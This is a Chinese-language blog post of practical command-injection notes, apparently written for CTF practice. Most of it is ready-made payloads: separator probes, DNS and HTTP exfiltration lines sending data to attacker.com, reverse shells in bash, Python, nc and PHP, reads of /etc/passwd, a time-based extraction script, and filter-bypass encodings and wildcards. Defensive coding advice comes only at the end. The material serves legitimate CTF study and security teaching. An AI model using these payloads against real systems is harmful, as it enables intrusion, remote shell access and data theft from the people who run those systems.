2556 字
13 分钟
命令注入

命令注入实战笔记#

一、概念与原理#

定义:命令注入(Shell Injection)指攻击者通过向应用提交精心构造的输入,使后端在 OS 层执行未授权的系统命令,从而控制应用/主机或窃取数据。

与 SQL 注入的区别:

  • SQL 注入:用户输入拼接到数据库查询

  • 命令注入:用户输入拼接到系统命令

本质:用户输入未经过滤直接拼接到 shell 命令中执行。


二、注入点识别#

2.1 典型场景#

场景典型参数示例
文件操作filename, path, file文件读取/下载/导出
系统命令cmd, command, exec, ipping, nslookup, traceroute
图片处理image, fileImageMagick 转换
PDF 生成html, urlwkhtmltopdf
邮件发送to, subject, fromsendmail 调用
压缩解压zipfile, tarfile解压缩功能
文件名name, title上传/重命名/导出

2.2 后端危险函数#

语言危险函数
PHPsystem(), exec(), shell_exec(), passthru(), popen(), proc_open(), 反引号 ` `
Pythonos.system(), os.popen(), subprocess.call(shell=True), commands.*
JavaRuntime.exec(), ProcessBuilder
Node.jschild_process.exec(), child_process.spawn()

三、探测与确认#

3.1 分隔符测试 Payload#

Windows 与 Unix 通用:

分隔符含义示例
&前后命令都执行cmd1 & cmd2
&&前面成功才执行后面cmd1 && cmd2
|管道,前面输出作为后面输入cmd1 | cmd2
||前面失败才执行后面cmd1 || cmd2

仅 Unix 有效:

分隔符含义示例
;命令分隔,前后都执行cmd1; cmd2
\n (%0a)换行执行新命令cmd1%0acmd2
反引号 `命令替换,嵌入执行echo `whoami`
$()命令替换,嵌入执行echo $(whoami)

3.2 快速探测流程#

Step 1: 回显测试
────────────────────────────────────────
Payload: ; echo INJECTED
& echo INJECTED &
| echo INJECTED
有回显 → 直接利用
无回显 → 进入盲注检测
Step 2: 盲注检测(时间延迟)
────────────────────────────────────────
Payload: ; sleep 5
& ping -c 5 127.0.0.1 &
|| sleep 5
有延迟 → 命令执行成功,进入利用阶段
无延迟 → 换分隔符或换注入点
Step 3: OOB 外带确认(DNS/HTTP)
────────────────────────────────────────
Payload: ; nslookup $(whoami).attacker.com
& curl http://attacker.com/$(id | base64)
收到请求 → 确认漏洞存在

3.3 有用的侦察命令#

Linux:

whoami # 当前用户
id # 用户ID和组
uname -a # 系统信息
cat /etc/passwd # 用户列表
ifconfig / ip a # 网络配置
netstat -an # 网络连接
ps -ef # 进程列表
cat /proc/1/cgroup # 容器检测
find / -name "flag*" 2>/dev/null # 查找 flag

Windows:

whoami # 当前用户
ver # 系统版本
ipconfig /all # 网络配置
netstat -an # 网络连接
tasklist # 进程列表
dir /s /b flag* # 查找 flag

四、Payload 体系化总结#

4.1 有回显场景#

信息收集:

; id
; whoami
; cat /etc/passwd
; uname -a
; cat /proc/1/cgroup # 容器检测

读取 Flag:

; cat /flag
; cat /flag.txt
; find / -name "flag*" 2>/dev/null
; ls -la / && cat /flag*

反弹 Shell:

# Bash
; bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'
# Python
; python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# nc(需要 -e 支持)
; nc IP PORT -e /bin/bash
# nc(无 -e 版本)
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f
# PHP
; php -r '$sock=fsockopen("IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

4.2 无回显场景#

方式1: 写入 Web 目录(最稳)

; cat /flag > /var/www/html/flag.txt
; cp /flag /var/www/html/f.txt
; ls / > /var/www/html/out.txt

方式2: DNS 外带

# 基础外带
; nslookup $(whoami).attacker.com
; ping -c 1 $(whoami).attacker.com
# 外带文件内容(分段)
; ping -c 1 $(cat /flag | head -c 30 | xxd -p).attacker.com
# 完整外带(需 dnslog 平台)
; for i in $(cat /flag); do ping -c 1 $i.attacker.com; done

方式3: HTTP 外带

; curl http://attacker.com/?d=$(cat /flag | base64)
; wget http://attacker.com/?d=$(cat /flag | base64)

方式4: 时间盲注(逐字符提取)

# 单字符判断
; if [ $(cat /flag | head -c 1) = 'f' ]; then sleep 3; fi
# Python 自动化脚本
import requests, string, time
url = "http://target.com/cmd?ip=127.0.0.1;"
charset = string.ascii_letters + string.digits + "{}_"
flag = ""
for i in range(1, 50):
for c in charset:
payload = f"if [ $(cat /flag | head -c {i} | tail -c 1) = '{c}' ]; then sleep 2; fi"
start = time.time()
requests.get(url + payload)
if time.time() - start > 2:
flag += c
print(f"Flag: {flag}")
break

4.3 特殊场景#

文件名注入:

# 上传文件名为恶意命令
filename="test;cat /flag"

PDF 生成注入(wkhtmltopdf):

<img src="x" onerror="eval(atob('Y2F0IC9mbGFn'))">

邮件头注入:

to=admin@test.com%0abcc:attacker@evil.com%0aSubject: $(cat /flag)

五、过滤绕过技巧#

5.1 空格绕过#

方法Payload说明
${IFS}cat${IFS}/flagIFS 默认为空格/tab/换行
$IFS$9cat$IFS$9/flag$9 是空变量,防粘连
{} 大括号{cat,/flag}大括号扩展,推荐
Tab (%09)cat%09/flagURL 编码
换行 (%0a)只能用来执行两条命令cmd1%0acmd2URL 编码
重定向cat</flag输入重定向
$@cat$@/flag特殊变量
<>cat<>/flag读写重定向

示例:

# 原始
cat /flag
# 绕过空格过滤
cat${IFS}/flag
cat$IFS$9/flag
{cat,/flag}
cat%09/flag
cat</flag

5.2 关键字绕过#

方法1: 引号打断

c'a't /flag
c"a"t /flag
ca''t /flag
cat /fl'a'g

方法2: 反斜杠转义

c\at /flag
ca\t /fl\ag
cat /fl\ag

方法3: 变量拼接

a=c;b=a;c=t;$a$b$c /flag
a=cat;b=/flag;$a $b

方法4: Base64 编码

# cat /flag 的 base64
echo Y2F0IC9mbGFn | base64 -d | bash
# 执行任意命令
echo Y2F0IC9mbGFn | base64 -d # 解码查看

方法5: Hex 编码

$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")
# \x63\x61\x74 = cat, \x20 = 空格, \x2f\x66\x6c\x61\x67 = /flag

方法6: Octal 编码

$(printf "\143\141\164\040\057\146\154\141\147")

方法7: 通配符(最强)

/???/??t /fl?? # /bin/cat /flag(可能匹配多个命令)
/???/c?t /fl?? # /bin/cat /flag(更精确)
/???/?s -?? # /bin/ls -la
/???/??d /???/??ss?? # /bin/find /var/www

通配符说明:

  • ? 匹配单个字符

  • * 匹配任意长度字符

  • 必须匹配到实际存在的文件路径才有效

  • 测试方法:echo /???/??t 查看展开结果

5.3 分隔符绕过#

过滤绕过方法Payload
;%0a, &&, |cmd1%0acmd2
``%7c, |
&&%26%26cmd1%26%26cmd2
空格见 5.1-

换行符注入:

# LF
cmd%0acmd2
# CRLF
cmd%0d%0acmd2

5.4 长度限制绕过#

方法: 分段写入

# 写入脚本
; echo -n 'cat ' > /tmp/a
; echo '/flag' >> /tmp/a
; sh /tmp/a
# 或逐字符写入
; echo 'c' > /tmp/x
; echo 'a' >> /tmp/x
; echo 't' >> /tmp/x
; echo ' /flag' >> /tmp/x
; sh /tmp/x

5.5 绕过技巧速查表#

过滤内容绕过方法Payload 示例
空格${IFS}, {}, %09, <cat${IFS}/flag, {cat,/flag}
cat引号, 反斜杠, 通配符c'a't, c\at, /???/c?t
flag引号, 通配符/fl'a'g, /fl??
;%0a, &&cmd1%0acmd2
|%7ccmd1%7ccmd2
/${PATH:0:1}cat ${PATH:0:1}flag
关键字全过滤通配符 + 编码/???/c?t%20/fl??
.[^a] 匹配一个不是 a 的字符flag[^a]txt

5.6 组合绕过案例#

场景:过滤空格、cat、flag、;、|、`、$()

# 方法1: 大括号 + 通配符
{c""at,/fl??}
# 方法2: 通配符 + URL 编码空格
/???/c?t%20/fl??
# 方法3: Base64(如果允许管道符解码)
echo Y2F0IC9mbGFn|base64 -d|sh

注意:

  • ${IFS} 与通配符组合可能不稳定,推荐使用大括号 {}

  • 通配符 ??t 必须匹配到实际存在的文件

  • 区分命令分隔符(; %0a)和参数分隔符(空格 %20)


六、CTF 实战思路#

6.1 常见坑点#

坑点表现解决方案
无回显执行成功但看不到输出DNS/HTTP 外带,写文件
空格过滤cat /flag 失败${IFS}, {cat,/flag}
关键字过滤cat flag 被拦截通配符, 变形, base64
长度限制payload 被截断分段写入
字符白名单只允许特定字符组合利用可用字符
仅内网不能访问外网反弹 shell 到内网 IP
容器环境没有 cat 等命令head, more, nl, tail
命令不存在cat: command not found使用完整路径 /bin/cat

6.2 快速判断流程#

1. 注入测试
│
├─ ; id → 有回显?
│ ├─ 是 → 直接利用,cat /flag
│ └─ 否 → 继续
│
├─ ; sleep 5 → 有延迟?
│ ├─ 是 → 盲注,选择外带方式
│ └─ 否 → 换分隔符或换注入点
│
└─ ; curl dnslog → 收到请求?
├─ 是 → OOB 可用
└─ 否 → 写文件/时间盲注
2. 过滤测试
│
├─ 测试空格 → ${IFS} / {} / %09 绕过
├─ 测试 cat → c'a't / /???/c?t 绕过
├─ 测试 flag → /fla? / /f* 绕过
└─ 测试分隔符 → %0a / && 绕过
3. 利用方式选择
│
├─ 有回显 → 直接读 flag
├─ 无回显 + 有外网 → DNS/HTTP 外带
├─ 无回显 + 无外网 → 写 web 目录
└─ 完全盲 → 时间盲注逐字符

6.3 真实案例#

案例1: 文件名注入

场景: 文件下载功能,filename 参数
原始: download?file=report.pdf
利用: download?file=report.pdf;cat /flag
原因: 后端执行 wget $filename 未过滤

案例2: PDF 生成注入

场景: wkhtmltopdf 渲染用户输入 HTML
利用: <img src="x" onerror="eval(atob('Y2F0IC9mbGFn'))">
原因: HTML 渲染时执行 JS,可读取本地文件

案例3: Ping 命令注入

场景: 网络工具页面,ping 功能
原始: /api/ping?ip=127.0.0.1
利用: /api/ping?ip=127.0.0.1;cat${IFS}/flag
原因: 后端执行 ping -c 4 $ip 未过滤

案例4: 邮件头注入

场景: sendmail 发送邮件
利用: to=admin@test.com%0abcc:attacker@evil.com
原因: 换行符注入邮件头,可窃取邮件/执行命令

七、防御与修复#

7.1 核心防御原则#

优先级从高到低:

  1. 根本解决:避免调用 OS 命令

  2. 必须调用时:使用参数数组形式

# 错误:shell=True 会被注入
subprocess.call("ping -c 4 " + user_input, shell=True)
# 正确:参数数组,shell=False
subprocess.call(["ping", "-c", "4", user_input], shell=False)
  1. 白名单校验

  2. 不要仅依赖转义/黑名单

  3. 最小权限

7.2 各语言安全写法#

Python:

import subprocess
# 安全:参数数组,shell=False
subprocess.run(["ls", "-la", user_path], shell=False, capture_output=True)
# 使用 shlex 转义(不推荐作为主要防线)
import shlex
safe_path = shlex.quote(user_input)

PHP:

// 安全:escapeshellarg 转义单个参数
$safe_path = escapeshellarg($user_input);
system("ls -la " . $safe_path);
// 安全:escapeshellcmd 转义整个命令
$safe_cmd = escapeshellcmd($user_cmd);
system($safe_cmd);
// 更安全:避免 system(),使用原生函数
// 读文件用 file_get_contents() 而非 cat

Java:

// 安全:使用 ProcessBuilder 参数列表
ProcessBuilder pb = new ProcessBuilder("ping", "-c", "4", userIp);
Process p = pb.start();
// 不安全:Runtime.exec 字符串形式(会被解析)
Runtime.getRuntime().exec("ping -c 4 " + userIp); // 危险!

Node.js:

// 安全:使用数组形式,不传 shell: true
const { spawn } = require('child_process');
const child = spawn('ls', ['-la', userPath]);
// 不安全:exec 会启动 shell
const { exec } = require('child_process');
exec('ls -la ' + userPath, (err, stdout) => {}); // 危险!

7.3 修复 Checklist#

  • [ ] 识别代码中所有调用 OS 命令的位置

  • [ ] 评估是否可用原生 API 替换

  • [ ] 必须调用时改为参数数组形式

  • [ ] 对用户输入做白名单校验

  • [ ] 限制进程权限和文件系统访问

  • [ ] 部署检测:异常延迟、DNS 外带、命令模式


八、最小化思维模型#

┌─────────────────────────────────────────┐
│ 命令注入攻击本质路径 │
├─────────────────────────────────────────┤
│ 1. 找注入点: 参数拼接到系统命令 │
│ 2. 测试分隔: ; | & && || $() `` %0a │
│ 3. 确认执行: id / sleep / DNS 外带 │
│ 4. 读 flag: cat / find / 通配符 │
│ 5. 遇过滤: 空格→IFS, 关键字→变形/编码 │
│ 6. 无回显: 外带 / 写文件 / 时间盲注 │
└─────────────────────────────────────────┘

一句话总结: 找到命令拼接点 → 用分隔符注入 → 有回显直接读,无回显外带数据,遇到过滤就变形编码。


九、参考资源#


最后更新: 2026-03-22

命令注入
https://lab404.cn/posts/command-injection/
作者
见山
发布于
2026-03-22
许可协议
CC BY-NC-SA 4.0